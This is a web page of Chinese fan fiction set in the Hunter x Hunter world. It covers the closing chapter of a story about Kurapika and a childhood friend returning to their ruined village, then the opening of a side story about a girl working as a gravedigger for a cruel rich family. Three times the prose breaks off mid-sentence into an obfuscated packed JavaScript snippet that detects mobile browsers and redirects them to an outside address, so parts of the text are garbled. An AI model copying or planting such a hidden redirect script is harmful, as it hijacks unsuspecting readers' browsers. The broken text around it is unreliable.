“第□□伍军人福利中心。这笔费用是捐款吗?”酷拉皮卡绝不是对普林增怀有偏见,只是一想到此人会和慈善行为关联在一起,总觉得有种微妙的格格不入,他干脆为此找了个合适的由头,“是为了避税吧。” “哦……”维瑟拉特嘀咕着点头。 反正她既不晓得避税是个什么玩意儿,也完全不懂普林增是怎样的人。她对此人的认知相当浅薄,只隐约觉得他是在袭击的那天通过耳麦给出了反复杀死她的指令的那个人。当然维瑟拉特也没有因此冒出怨恨,他也只是收钱办事而已,没能成功很正常,被她杀死也正常。抢了她的身体丢下一堆要求不正常,但她也无所谓。普林增之于她,一直都只是个无意义的存在。 “那信托基金是为了什么?”维瑟拉特在这方面依旧存疑,“也是避税吗?” 酷拉皮卡轻轻耸肩,“也许?” 虽然信托基金和避税好像没有什么太大的关系就是了。 当下的困惑都是正常的,等明日抵达那个边陲小城,想必就该是最后一站了。无论谜题是否会被解开,终点都已经在逐渐靠近了。酷拉皮卡只希望一切可以结束,就算是要他茫然地揣着困惑回家也没关系。只要能和维瑟拉特一起回去,就足够了。 维瑟拉特把回执重新叠好、压实,塞回口袋,看了一整晚旅馆电视机上的付费频道,直到四点整叫醒酷拉皮卡,在没有巴士运营的冷飕飕清晨一起走向中央车站。 大可以预约一辆出租车送他们过去的,但维瑟拉特好像什么时候都更中意用双腿作为自己的交通工具。酷拉皮卡觉得挺好,也只有这种时候,他们呼吸的白气能在短暂地几秒钟里交叉在一起。 去往边陲小镇的人不多,临近出发时间,长途客车乘客寥寥,安静得稍稍让人觉得沉闷。维瑟拉特注视着窗外,用手拖着下巴,眼皮已经开始沉下去了。 “困的话就睡吧。没事的。”酷拉皮卡宽慰她,“马上就天亮了,你不会亏损太多时间的。” 维瑟拉特没有应声,只问他:“日出是什么时候?” “还有二十分钟吧。” “好。” 只是二十分钟的话,就完全能够安心了。维瑟拉特调整了一个更舒服些的姿势,靠在了酷拉皮卡的身旁,柔软的发梢钻进衣领之间。好痒。肯定是因为这样,他的心跳频率才发生了一丁点小小的变化吧。 他忍不住垂下眼眸,看着她的侧脸。她的五官从来都没有那种尖锐感,也不会透出钝钝的圆润模样,很偶尔,依然能从她的脸上看到一点孩子气的痕迹,于是能够想起,她还未真正成为大人的这个事实。在这方面,他也一样。 酷拉皮卡和维瑟拉特,他们其实一直都很像。 “今天看不到热气球了。”她忽然说,“热气球要等到白天才能看到。” “回来的时候就能看到了吧。” “嗯……我从来不知道那些热气球是用来干什么的。爸爸可能和我说过,但我忘记了。” “下次去问问看吧?” “好。” 而后便无声无息。她一定睡着了。 日出的时候,长途客车驶上了高速公路。酷拉皮卡在思考着是否应该把肩膀上的脑袋推开,纠结了好久,到头来还是没这么做。在普林增开口之前,就继续把维瑟拉特当做是维瑟拉特好了。 十小时的路途一直行驶到日光刺眼的午后。普林增在中午就醒过来了,抓抓下巴挠挠胸口,一副没精神的样子,说要喝酒。酷拉皮卡没搭理他。长途大巴怎么可能有酒?当这家伙在做梦好了。好在普林增也没有故意折腾他,最多就是叫他把骨灰盒拿稳一点。不知道算不算是错觉,酷拉皮卡居然觉得他今天比前几日好说话多了。 也稍稍话少了一点。他一直盯着窗外,不知道摆出了怎样的表情。 长途客车到达终点,但旅途还没有结束。接下来还要转三趟公交车,载具越来越陈旧,路旁的风景越来越朴素。最后一次下车,来到了偏远的小村庄,一定是画报最爱取景的乡村图景。他们沿着一条小路往前走,目的地看来就是尽头的那栋白色小屋了。 总觉得普林增走得很慢,喘息也重。只剩下五六米的距离了,他却很突兀地弯下腰。酷拉皮卡习惯性地把手搭在他的背上,问他是否还好,问完了才意识到眼前这个病弱的人不是维瑟拉特。 普林增拍掉他的手,讨厌这种亲昵的动作,嘴上也满不在意地说没事,目光却在打量酷拉皮卡今天的西服,想了想,继续说下去。 “你拿着骨灰盒去敲响前门的门,告诉这家的主人,你是军队里汇报死讯的,她的孩子在战斗中殉职了。该怎么宽慰遗属,你自己想。但你一定要告诉她,她的孩子留下了能够供养她的信托基金,至于基金的来头是什么,也是你自己想。去吧,赶紧的。” 说罢,普林增不耐烦地推着他,酷拉皮卡却根本没有感觉到任何推力。他的手根本没有力气。 “你还好吗?”酷拉皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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痛苦不会彻底消失,几天后,悲伤会变得更强烈,往后的每一天都将爬升至新的顶峰。他清楚这种感觉,可惜他无法提供帮助。 酷拉皮卡深呼吸了一口气,向前迈步。马上就要天黑了,日光却还踟蹰在地平线,昏暗的光把影子拽得好长。坐在树桩上的人影正在抽烟,细长的那种薄荷味香烟,吐出的烟雾没有影子,看到他走过来,习惯性用手指掐灭香烟,却被烫到吓了一跳。 “搞定了?” “嗯。”酷拉皮卡加快脚步,几乎是要向她奔去,“我们可以回家了,小维。” “又猜出来是我了吗?” 维瑟拉特弹掉烟头,抱怨的话语倒是听不到什么怨气。 酷拉皮卡笑了。“我当然知道。” 都说了,她的存在那么很明显。 维瑟拉特站起,身拍拍衣服上的灰尘,与他一起走在小路上。距离公交站还有好远,幸亏她从来都不讨厌走路。 “我睁开眼的时候,已经看到你走进屋子里了。”她说,“我想普林增就是在那个时候消失的。我虽然没有他操控我身体时的记忆,但我完全没有感觉到他对于死亡的憎恨或是怨念。真奇怪,他毫无恨意和悲伤,和我们不太一样。他现在所做的一切,也只是再给死后的未来铺路而已。” “应该是吧。明明已经退役、作为雇佣兵死去了,他的母亲却还以为他在服役。他可能也很想保全死后的尊严。” “怪人。” 好直白的批评,酷拉皮卡倒是不会否定。“算是吧。但他也是你的同胞呢。” “嗯?” “他是崎土国的子民。和你父亲一样。” “是吧……但我不觉得他是。你才是我的同胞。” 维瑟拉特忽得握住他的手,也忽得加快了脚步,简直像是在拉着他往前走。 “我们回家吧。” 她说,很认真地说。 “我是说,回窟卢塔的家。” 72.陆地x大海x天空x你我 回家。想要回家。 踏上长久的旅途,跨越绵延的地界。 窟卢塔族过去曾住在鲜有人知晓的深山之中,在那场残局公之于众之后,他们的所在地也不再是个秘密了。在山脚下的租车行租赁能够带人进山的陆行鸟时,老板还问他们,是不是要去窟卢塔的遗迹探险。 “……去那里的人很多吗?”酷拉皮卡觉得有必要问问。 “一年到头总有那么三四个吧,更多人一听到那地远得不想,就懒得去了。听说之前还有开发商打算把那地方变成遗迹景点呢,可惜也是因为太偏僻了最后没有开发。我是也搞不懂那地方有什么好看的。啊——没有质疑您两位客人的意思。” 老板嘿嘿地笑,生怕真把客人惹恼了。但酷拉皮卡和维瑟拉特并不会生气——总觉得,没有这个必要。只是觉得有些悲哀,他们的家仿佛是失去了隐私和尊严的、任何人都能够带着各种各样的目的踏入的场所。 他们当然不是去探险的。虽然很想说是回家,但其实也并不能真正地回到家。诺斯拉家也也有好多未尽之事,更别提尚未全部寻回的火红眼,他们的家肯定无法再住人了,就连家人们也早已……他们怎么可能真正地回到家。 即便如此,维瑟拉特依旧坚定地认为他们正在做的事情是“回家”,哪怕只会在故土停留一晚。 搭乘陆行鸟是最快的进山方式。最好的越野车无法驶过山路,使用双腿又太慢,马儿在这里也吃不消,只有借助着在这片土地长大的动物,才能越过天堑。 在天快黑的时候才到了家,平地上的集体墓地投下无数细长的影子,无名的墓碑立在那里,大家沉睡在这片土地。时间冲刷了血腥的痕迹,也带来了更多侵蚀,酷拉皮卡也分不出那些坍塌的房子是旅团的所作所为,还是大自然的力量在推倒他们曾经存在过的痕迹。 他的家早已坍塌,还好维瑟拉特的家还立着,尽管挂在门上的毛毯都已经破烂不堪了,小鹿消失无踪。他们以前多么喜欢毛毯上的鹿。 她推开门。 “我回来了。” 早已不会有人迎接她回家,至少家还在这里。 家里不算整洁,还好也不凌乱,就算是被灰堵住的壁炉,找根木棍捅一捅,也能继续使用。她的房间好好地保存着,只是落了一层厚重的灰,换上柜子里干净的床具,就又和往日里一样了吧。酷拉皮卡帮她一起铺好了被子,商量着说,今晚就在这里过夜吧。而她本来就是这么打算的。 “床真小。”维瑟拉特倒在床上,一小截腿露在外头,“还是小孩子的尺寸。” “小时候我们总在这张床上玩跳来跳去。”酷拉皮卡坐在床尾的一角,“派罗说他一直觉得你家很暖和。你还记得吗?” 如果可以,维瑟拉特想要给出肯定的答复,但无论怎么回忆,却还是想不起这些事。 没关系,她不记得的事情,酷拉皮卡会告诉她。 “在床上跳来跳去真的很吵,你妈妈却从来都不会生气,只说不要闹得太累。虽然我妈妈也是很温和的人,但同样的情况,她肯定会生气的。” “是嘛……”维瑟拉特蜷起身子,这样就能完全被儿时的床榻包裹了,“我想不起太多妈妈的事情了,就算是看着她的眼睛,我也想不起来了。” “别担心,你会想起来的。想不起来也不要紧。” 绝不会有谁因此而苛责她。 她轻轻地“嗯”了一声,话语中或许藏着一点不确信,只是这些不安全都钻进了被褥里,倏地消失无踪了。她久久地没有说话,酷拉皮卡回头看她,才发现她已经闭起了眼眸,原来是睡着了。 依然像他们还是孩子的时候,玩得好累好累,倒头就在草地上睡着,脑袋挨着脑袋。 酷拉皮卡伸出手,轻轻拨开她凌乱的发丝,指尖拂过脸颊,温暖的,切实的。她就在这里。 明明能够意识到这一点,他却比任何时刻都更加想要触碰她,只有相抵的肌肤与体温,才足够让他确信当下是真实的存在,而不是幻想编织而成的场景。 所以,他在这里,在儿时播撒了好多笑声的这栋房子里,和他童年的朋友呼吸着同一片空气。创伤依旧存在,却不再那么疼痛,但他知道,伤口还是会再度痛起来的。 到那时候,该怎么办呢?酷拉皮卡不想为此不安——在感到幸福的时刻思考着不愉快的事情,就算称之为“未雨绸缪”都算太过扫兴。他不乐意做这种事。 既然如此,还是思考那些或许会成真的、更美好一些的未来吧。 “我希望你可以一直平安地活下去,小维。也许这会是略显是无聊的人生,但我会向神祷告,乞求这一定会是一直一直延续下去的、足以抵达未来的人生。” 酷拉皮卡用指尖摩挲着她的脸庞,不停不停在重复着这个小动作,仿佛这样暖意就能一直一直留存在他的指尖。 “我希望你的未来可以像每个幸福的普通人,遇到爱你的人,与那个人结成家庭,生下你心爱的孩子。你的孩子也会拥有自己的孩子,由你种下的生命会流传到时间的尽头。” “你呢?” 维瑟拉特的话语突兀地插进来,似乎要打破酷拉皮卡编织的未来。 她并没有睡着,也可能是从短暂的睡眠之中醒来了,睁开的眼眸注视着他,酷拉皮卡能看到金绿色的自己的倒影。 “在我的未来里,你在什么地方?”她的话语很平静,明明说出的是质问,“为什么你根本没有出现?” 酷拉皮卡感到莫名的不自在,可能是愧疚感在作祟,下意识地移开了目光。可维瑟拉特坐起来,追着他的目光,固执地看着他。 “为什么?”她依然在追问。 看来真的只能回答了。他轻轻叹气,肩膀垮了下去。“抱歉……到了那时候,我想我已经不在了。” “为什么?” 同样的疑问。 在这一刻,酷拉皮卡无法说谎。不全是因为对她许下了不说谎的承诺,而是他认为有必要告诉她了。 “我不觉得我是拥有未来的人,从我决心复仇开始,人生就进入了倒数。”他笑了,却很苦涩,“可能很难看到你的未来了。” 好直白的话语。好现实的话语。无法否认的话语。至少维瑟拉特做不到。她怔怔地坐着,沉默得仿佛整个人的存在感都已消失无踪,在某个瞬间才猛得动起来。 她把酷拉皮卡按在床上,双手紧紧地按着他的肩膀。不痛,只是很容易让人觉得她生气了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232216|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 能让她生气,看来他成了和席巴·揍敌客同一等级的家伙呢。虽然酷拉皮卡并不会为此感到骄傲,他让维瑟拉特如此痛苦。 “如果你希望我拥有的是像常人那样平凡的未来,那也可以。我想和你结成家庭,想要和你生下孩子,而不是其他什么人。我们的血脉会继续延续,窟卢塔的子民将一直活下去。这样的未来我才接受。” 他的存在唐突地出现在了她的未来里,她说她想要……这话是在赌气吗,对他自顾自为她规定的未来的反抗吗? 酷拉皮卡担心她是真心说出这话的,也怕这并非是她的真正想法。他可能开始害怕了,出了一身冷汗,心跳得好快,根本不知道该说什么才好。 不说话,也没反应,真让人着急。反正维瑟拉特着急了,她几乎要扯着嗓子说话:“你得答应我!” 如果是气话,肯定不会这么说吧。 酷拉皮卡好像能找回一点切实感了。“不是气话,对吗?” 维瑟拉特点头,很认真地点头。“嗯!” 啊啊,未来…… 像今日将会永远延续下去一般的,未来…… 飘荡的不安一定消失无踪了,再不回答,她的话语一定会溜走。“好。”酷拉皮卡握住她的手腕,锁链也因此落在了她的手背上吧,“我答应你。” 抛出的问题得到了答复,话题就此稳稳落地,意外得显得还挺顺利,也难怪他们在接下来的几分钟里都长久地沉默着,完全没有做出除了注视彼此之外的任何事情。 维瑟拉特是最晚回过神来的那个人,好在她最先开口。 “刚才算是求婚吗?” “我觉得算。” “你答应了?” “嗯。” “……” “……” “……” “但现在还不能结婚。”酷拉皮卡很认真地看着她,“还没到法定的结婚年龄,我们要再等三年。” “……还有这种事?” “是的。” “好。” 话题再次落地,沉默再次到来,但不知道是谁先发出了笑声,另一个人也开始笑起来,彻底乱作一团,也难怪一分钟后床板就会被震塌了。 床面坍塌更是值得爆笑的事情,窝在凹陷处的酷拉皮卡和维瑟拉特几乎要鼻子碰鼻子地撞在一起,根本站不起来了。 即便如此,当下依旧是美好到没话说的瞬间。 维瑟拉特抱住他,悄无声息的。她的笑声不知道逃到了什么地方去,酷拉皮卡只感觉到有温柔的湿漉感落在脖颈上,滴答滴答,比起雨水,更像时钟,推着他朝那个未来更近一点。 “酷拉。”她忽然唤他,说,“我希望我们可以成为家人。” 这样一来,有他在的地方,就一定可以成为家了吧。 酷拉皮卡低下头,把自己埋入她的发间。软软的、狐狸般的发丝摩挲着所有感官。 往日带着痛楚,未来尚不明晰。他知道的。 当下所感受到的幸福的瞬间,是否会转瞬即逝?他不知道。 即便如此…… “从重逢的那一天起,我们就已经是家人了。” -THE END- 73.卡尔马拉x十三号x蕾尼[番外] 轿车摇摇晃晃,把友克鑫最繁华的街区甩在尾灯的后方,一切能够代表这座城市的热闹元素渐渐远去——时代广场、大都会美术馆、被誉为绿宝石的漂亮公园,全都缩成了后视镜无法倒映出来的存在。 几十分钟后,车轮驶入了上西森林的地界,重重叠叠的绿意与树木倏地从车窗旁掠过,深绿的影子压在了衣服上。 从上车起就一直低着脑袋的十三号此刻才抬起头,看向窗外。森林给她一种很莫名的熟悉感,她摸不透这种感觉,干脆不去感受。 和疼痛一样,困惑也是可以轻易抛开的。不感受就好了。 她因此收回目光,继续低着头,垂落的长发能遮住大半张脸,剩下的一小半中的一半又被佝偻的肩膀的影子遮挡。这可能就是她的脑袋挨了杰斯顿一巴掌的主要原因。 “别这么畏畏缩缩的,看起来太不得体了!”他告诫她,“面对客人的时候,你得抬头挺胸才行啊!” 十三号没觉得自己畏畏缩缩,也不明白什么叫不得体。但杰斯特说得她会照做。指令没有好坏之分,也不存在质疑的余地,只有“照做”一条可选路径。 抬起头,绿意将再次映在视线之中。她没有意识到森林的颜色与她绿色的那只左眼有着极其相似的色泽,也没有思索更多,大脑保持着恰到好处的空白状态,直至她走进了卡尔玛拉家。 暖意扑面而来,整个庄园都洋溢着与这个季节浑然不同的暖风。这种暖意她完全感觉不到,只是看到眼前走过的这个家的仆从们都穿得好少,便也脱掉了外套,让自己看起来更加符合当下的温度。 如果十三还能记得此次委托的主要内容,那她会知道,自己此行是来担任卡尔玛拉家小少爷的护卫。这是一份长期合约,她至少需要在此地工作三年,工作内容正如岗位名称,负责小少爷的安全即可。 她能被选进这份工作挺简单,除了能力确实符合标准之外,也是便利屋的老板觉得,放一个与小卡尔玛拉年纪相仿的护卫在身边,足够降低一些不必要的戒备。谁会担心一个十三岁的小孩? 简单来说,就是和扮猪吃老虎差不多的策略。 老板的良苦用心,小少爷完全不认同。一看到十三,他那张养尊处优的漂亮脸蛋就皱起来了,嫌弃的心情不加掩饰地从嘴角的褶皱里挤出来,看她的表情像在看一个不符合期待的瑕疵品。 “派一个小屁孩来干什么?又没什么用。” 说这话的他和十三年龄一样,头顶还稍稍低了她几厘米,很让人怀疑他口中的小屁孩到底是谁。 十三没怎么认真在听——还没有开始下达指令,分散一点注意力也是没关系的。 她的视线不自觉地瞄着墙壁。庄园的主宅金璧辉煌,字面意义上的金璧辉煌。这里的墙壁都涂抹着一层细碎地金箔,无需点亮宝石吊灯,只要拧亮那盏有翡翠灯罩的台灯,就足够让整个客厅亮起来了。小桌子上摆着铂金的摆饰,是跃出水面的海豚。可惜十三不知道这是海豚,也没见过类似的生物,很困惑地一直盯着,试图猜想出它的名字。 大概就是因为这样,小少爷才更加生气,叫人挖掉了她的眼睛吧。 滴滴答答,血流在地毯上。脏死了,小少爷咋舌说。 “知道吗,你的眼睛真贪婪。”他毫不留情的痛骂她,“你看我着我家的眼神,就好像你从来都没有见过什么好东西。” 十三没有说话。同样,也没有发出尖叫。 她有点痛,但不是特别疼,神经被切断的感觉很像是有虫子钻进了她的眼窝里,一口一口往深处啃,很切实的触感。 掉落的眼睛去了什么地方,她也不知道,还好眼睛很快就会回到眼眶里,裂开的伤口重新愈合,被剥夺的视野也会再度复苏。她抬起眼睛,看到了一脸扭曲的小少爷。 现在,他的表情已经从嫌弃变成纯粹的厌恶了,话语由此变得更加直白,说她是怪物。 “我不需要你这种人待在我旁边!” 他丢下这么一句,气冲冲走了。 都丢下这种话了,看来十三是要被送回便利屋了吧。她自己倒是无所谓。 就算实际情况是她依旧留在这里、工作从护卫沦落到掘墓人,也无所谓。工作没有好坏之分,也不存在喜欢或讨厌的区别。无论是怎样的事情,她都会照做的。 掘墓人的工作地点偏僻,她这么被分配到了庄园最角落的屋子里,此地可不是暖气能覆盖到的场所了。没人教她怎么当个合格的掘墓人,但她意外的在这方面很得心应手,况且这也不是什么苦活——挖坑、填坑。简单。 工作不算忙,尸体大约以每周一具的速度出现,有的是完好的尸体,有的是破破烂烂像被折磨过的样子,偶尔还有开膛破肚的流浪猫或者小狗。十三不会询问尸体的来源,也不好奇明面上很正派的富豪家族制造出尸体的用意。她的工作不是探秘,而是把尸体埋起来。 友克鑫的冬日来得晚,却相当猛烈,大雪覆盖了庄园,有暖气的地方依旧温暖如春,她所在的小屋除外。 新尸体来了,咚一下被丢到门口,沙拉沙拉地没入雪地里。十三号穿上防水靴子,扛起尸体,抡起铁铲,深一脚浅一脚,走向屋前的空地。 连日都是雪天,空地积了厚厚的一层雪,差不多能淹没整条腿。得先把雪清掉,才能往地上挖洞。 铲雪容易。从天上落下的这团洁白色的冰冻水分很柔软,很快就能移走。但继续往下,铲子撞向冻土,只会发出铁器碰撞般的重响,地面却毫发无损。 与天空不同,大地是更难啃的骨头。 十三一根筋,她只想完成工作,就算是冻土也要挖出坑来,以至于今日的工作彻底变成了嘈杂的叮咚乱响。她没有听到踏雪而来的脚步声,也难怪会被突然落在肩膀上的触碰吓一跳。 “哇哇哇,你别拿铲子对着我啊!你不会是想要打我吧?好吓人!”来人匆忙举起双手,“我听说你被发配到这里了,没想到还真是。对了,你记得我吗?” 十三不认识这人的声音。况且对方戴着帽子口罩和放风眼睛,整个人裹得严严实实,根本看不清面孔,完全不存在任何可以识别的余地吧。 肯定是看出了她的困惑,来人在寒冷的风雪中摘下帽子。“是我啦,是我。”冬风一下子就把她的脸吹红,“我是蕾尼。你第一天来便利屋的时候就是我接待你的,你还记得吗?” 第一天来便利屋…… 十三摇头。她不记得了。 蕾尼看起来小小失望,还好不至于沮丧,满不在意似的摆摆手,“哎,没事没事,不记得也很正常,毕竟我们后面没怎么见过了嘛。我最近也被派到卡尔玛拉家来工作了,听说你也在这里,所以就想着来看看你——毕竟算是同事嘛。你现在在干嘛呢?” “工作。” “工作?” “埋尸体。” 蕾尼一脸不可思议,看着地上小小一个坑。“你要在这个天气埋尸体吗?”光是想象一下这个工作量,她都觉得累了,“土地冻得这么严实了,肯定不好挖。还是等到开春再干吧。” 新指令。 十三号停下动作,应了一声“好”,提着铲子走进小屋。尸体像是被遗忘在了那里。蕾尼随手把尸体埋进雪堆。“这是为了保鲜。”如果要解释她的行为,她一定会这么说,顺便笑嘻嘻补上一句,“我知道在说起尸体的时候用上‘保鲜’这个词真的很不合适。” 她跟着十三走进小屋。这里和外头一样冷,完全没有提升半点温度。本来还想坐在这里和这小孩聊聊天的,结果蕾尼发现自己不受控制地哆嗦个不停,连话都说不出来。 赶紧四下看看。好嘛,壁炉都没点着,怎么可能暖和得起来。这小孩真不会照顾自己。 蕾尼真的要被冻僵了,只能在原地搓手哆嗦,仅有的话语用来指挥十三找来木柴点燃壁炉。十三全部照做,很快暖意就铺满了小屋。 这下终于能脱掉厚重的外套了,蕾尼身上浓郁的香水气味终于不再被外衣压住,甜腻的气味钻进空气里,还挺好闻。她自在地坐下,看着十三依然笨重地像小熊那样坐在壁炉旁,难免纳闷。 “你不热吗?”她问。 十三这才抬起头,想了想说:“不热。”但还是脱掉了衣服。 她会尽量在穿着的厚度方面与旁人保持一致。 蕾尼还是搞不懂她。“我真不知道你是不怕冷还是不怕热。”她轻轻叹气,“虽然被分配到了这里很倒霉没错,但也不能自暴自弃嘛。” “我只是对温度不敏感。我没有自暴自弃。” 准确地说,是感觉不到什么温度。多穿衣服也不是为了防寒,而是体温过低的身体无法顺畅行动,所以她才穿上了厚厚的衣服。 “这样吗?好吧,我不该说你自暴自弃的。对不起。” “没关系。” 在得到十三的谅解之后,蕾尼才站起身来,摸出口袋里的香烟,透过窗户的小缝隙抽烟,把充满尼古丁的烟雾吐到外头,不让十三闻到。抽完烟之后,她就匆匆地走了。说是还有工作。 这一天的她们并未说太多话,十三也不知道她的工作到底是什么。她并不觉得好奇,也没有问起的打算,倒是蕾尼主动告诉她了。 她在春天骑着自行车过来,还没靠近小屋就已经迫不及待地把铃铛拨得叮铃叮铃响,向十三宣告自己的到来。 “你这地方太远了,我特地问管家要了辆自行车骑过来,这下可就方便多了。”她骑着车绕十三打转,“对了,你会骑吗?” 十三必须坦白:“不会。” “那我教你吧。” “好。” 其实也用不着蕾尼的指导,她坐上去蹬了两下,居然就顺利地征服了这台两轮载具,短短的学习时间中一下都没有摔倒,早知道这么顺利,蕾尼都没必要为她扶住后座了。 “不愧是身手敏捷的护卫工作承担者!”蕾尼一边表扬她,一边搓她脑袋,“我花了好久才学会的呢,难怪我没有当护卫或是保镖的天赋,也没办法完成这类工作。” “你的工作和我不一样吗?” 十三确实没有揣摩过蕾尼的工作。但如果一定要给出一个推测,她会说,蕾尼的工作大概和自己差不多。 “不是哦。”蕾尼笑眯眯的,不生气也不怎么样,坦荡荡地说,“我的工作时是提供性.服务。” 十三没听懂,所以她接着说。 “意思就是,人们会把下流的、肮脏的、见不得光的原始幻想放在我的身上,我顺从他们去表演出被他们驯服的样子。就是这么回事。” 其实,还是没有听懂。 但十三不觉得这是一份好工作。 “我也这么觉得哦,可惜没有办法。” 她们躺在夏天的夜空下,星星的光辉无法落在她们的身上,仿佛她们从来都不会被眷顾。 “以前我也很讨厌那些影视作品或者文学作品里的描写,总喜欢让走投无路的女性沦落到只能靠皮肉生意谋生。难道女人就没有其他活下去的办法了吗,难道不可以出卖力气、汗水或者智慧吗?我当时觉得特别不服气。可轮到自己遇到同样的情况,才会发现,这个世界根本没有给我留下太多选择。没有能力也不够聪明的我,只能这样子活下去了。” 她说着,向天空伸出手,纤细的一轮残破月亮仿佛触手可及,但她选择合拢手掌,捏死了月亮。 “要我说,人生就像是行走在满是坑洞的土地上,一不小心就会跌下去,即便侥幸爬出来,未来也不是百分百安全。我知道我爬不出来了。但是,十三,我担心你也已经滑下去了。” 她伸出手,轻轻触碰十三的脸庞。 “要谨慎地往前走哦,十三。” 什么才是“谨慎地往前走”呢?十三号不懂。 仔细想想,蕾尼说的很多话她都不明白。可能是因为蕾尼比她年长了十岁还多,这些年岁足够让她的见识和思想广阔到仿佛来自另一个世界。十三只能努力记住她的话语,尽力在未来能够参透其中的深意。 被捏死的月亮还会继续升起。秋天快结束的时候,蕾尼叮铃铃地骑着自行车过来,带着一包栗子。伸手把栗子递过来时,十三看到她的手腕上有鞭打的红痕。 “当然是小少爷的杰作了。” 蕾尼耸耸肩,满不在意地说,仿佛这点疼痛不会让她苦恼。 十三听蕾尼说起过,她的服务对象——正是那位挖眼睛的小少爷——是个在性方面极度苛责的家伙,中意更年长的女性,还喜欢对她们施加痛楚。最近他的行为愈发激烈,害得蕾尼总是伤痕累累。 “没办法,和卡尔玛拉家签的是长期合约,现在才过了一年不到呢。”蕾尼摊手,这是她只能忍受现状的唯一原因,“小少爷也真的很变态。他肯定是很喜欢那种掌控别人的感觉,所以才总对年长者做乱七八糟地事情。说到底,卡尔玛拉一整个就很变态。” 她说着,点燃香烟,把笑声与烟雾喷进空气里。 “这个家啊,糟——透——啦——” 对于卡尔玛拉家的事情,蕾尼知道的可比十三号多多了。她凑过来看十三掘墓埋尸,说这具尸体肯定是大少爷的作品。 “那家伙是比小少爷更变态的杀人狂哦!”她甚至爆出了这个惊天大消息。 十三不那么意外,她也不觉得自己冒出了好奇,可不知道为什么,好希望蕾尼继续说下去。这份莫名的冲动让她忘了还要工作,紧挨在蕾尼身旁,很认真地盯着她。 蕾尼搓搓她的脑袋,对如此积极的反应相当满意,迫不及待地这就说起来了。 “其实大少爷是个反社会的杀人魔,折磨人的欲望根本压不下去,就是因为这个,所以才没有成为继承人的。但说到底是自己的长子,现任家主的老卡尔玛拉肯定不愿意放弃他,干脆任由他进行自己的杀人事业,偶尔抓点小猫小狗流浪汉之类的让他过过瘾。” 十三慢吞吞点头,“哦……” “顺便一提,现在的继承人是小少爷,但听说他的天资其实不如大少爷,所以日常压力很大。估计这就是他也显得挺变态的原因吧。” “嗯……” 这到底是个什么奇怪的家啊。纳闷。 十三懒得思考。还是先干活吧。 挖坑、抛尸、填土。这是简单的工作。 不简单的部分是,要是凑上遇上了她的工作时间,蕾尼肯定会跑来旁观,和她一起猜测即将落葬的死亡是谁制造出来的。 “我觉得这是大少爷做的。” “为什么?” “感觉被折磨过,好惨。旁边那位我怀疑是老卡尔玛拉干的。” “为什么?” “我觉得能生出两个变态儿子的家伙自己也是变态没错。基因遗传嘛。” “哦——” 如果尸体知道自己在迎接大地的安眠之前还要被说来说去,一定会很生气。蕾尼和十三也知道这大不敬,但胡说八道真的很好玩 到了冬雪落下的时候,蕾尼就不会骑自行车过来了——她直接落雪走过来。 要让两轮载具穿越雪地,实在是太艰难了。她情愿多花点时间,多吹点冷风也没事。 从那个时候开始,十三注意到她的伤口变多了。 不,或许不是纯粹的变多,而是更加显眼、更难愈合,连脸颊上都有划破的伤痕,重重叠叠垒在一起。太醒目了。 十三很想说点什么,尽管她还没想好要怎么说。她张了张嘴,蕾尼却忽然出声。 “哎呀,是卡尔玛拉家的大小姐呢!” 靠在她身旁的蕾尼赶紧按动电视的遥控机,把声音调响了一些。这会儿正在播放综艺节目的圣夜节特辑,笑得很甜美的金发女郎坐在嘉宾席。她姓卡尔玛拉,是近年炙手可热的女星。 “‘要是不努力拍戏就要回家继承家业啦’,这是大小姐的宣发团队最近很常用的宣传词哦。”蕾尼毫不留情地发出嘲笑,“太搞笑了,说这种话是希望普通民众能共情她这个有钱人吗?” 蕾尼说话总是切实又尖锐。十三可想不到这种事。她只是在想,大小姐会不会也是变态。蕾尼拍着大腿大叫肯定是,在一家子变态里怎么可能出现畸变。 她们花了一整个冬天揣摩大小姐的变态之处会是什么,为素昧谋面的这位热门女星添上了一大堆可能性。 过了圣夜节,冻土还要再过几个月才能融化。放在雪地里保鲜的尸体越攒越多,待到开春,她有得好忙碌了。 十三号在春日里工作了一整天,整个人都变得灰扑扑,直到傍晚才收工。她看到自行车停在了小屋旁,应该是蕾尼来了,可刚才并未听到铃铛声。漏听了吗? 她推门进去。蕾尼正在打电话,只言片语漏入耳中。 “再继续下去我会死的……雇主的行为已经变得越来越不正常了! “我是为便利屋工作的,你们当然有义务保证我的就业安全啊! “要等合约结束?还有一年半呢!等到那时候,我肯定…… “拜托了,和卡尔玛拉家交涉一下好不好?我愿意付违约金的,只要…… “你们会想办法的,对吗?拜托你们了。” 她挂断电话,僵硬地站在那里,背对着十三号,很难让人知道她此刻正在思考着什么。十三难以迈步,不知道是不情愿还是怎样的心情牵绊着她,害她也和蕾尼一样僵在原地。 还好僵持不会持续一辈子,蕾尼很快就发现她了,笑着说傻站在那里干嘛,脏兮兮的,快去洗澡。室内的不明亮模糊了她肿起的右脸颊,尽管如此十三还是能清晰看到。她“嗯”了一声,听话地履行着蕾尼的指令。 小屋没有吹风机,吸干净的头发要么在壁炉前烘干,不然就只能等着空气带走水分。这个天气已经不适合点燃壁炉了,蕾尼让他坐在空地上,拿了把梳子,一遍一遍帮她梳顺长发。 “这样空气就能钻进去了呀。”她轻快地说,新添的伤口并未折损她在十三面前一贯的轻快做派,“说起来,你的头发可真长啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 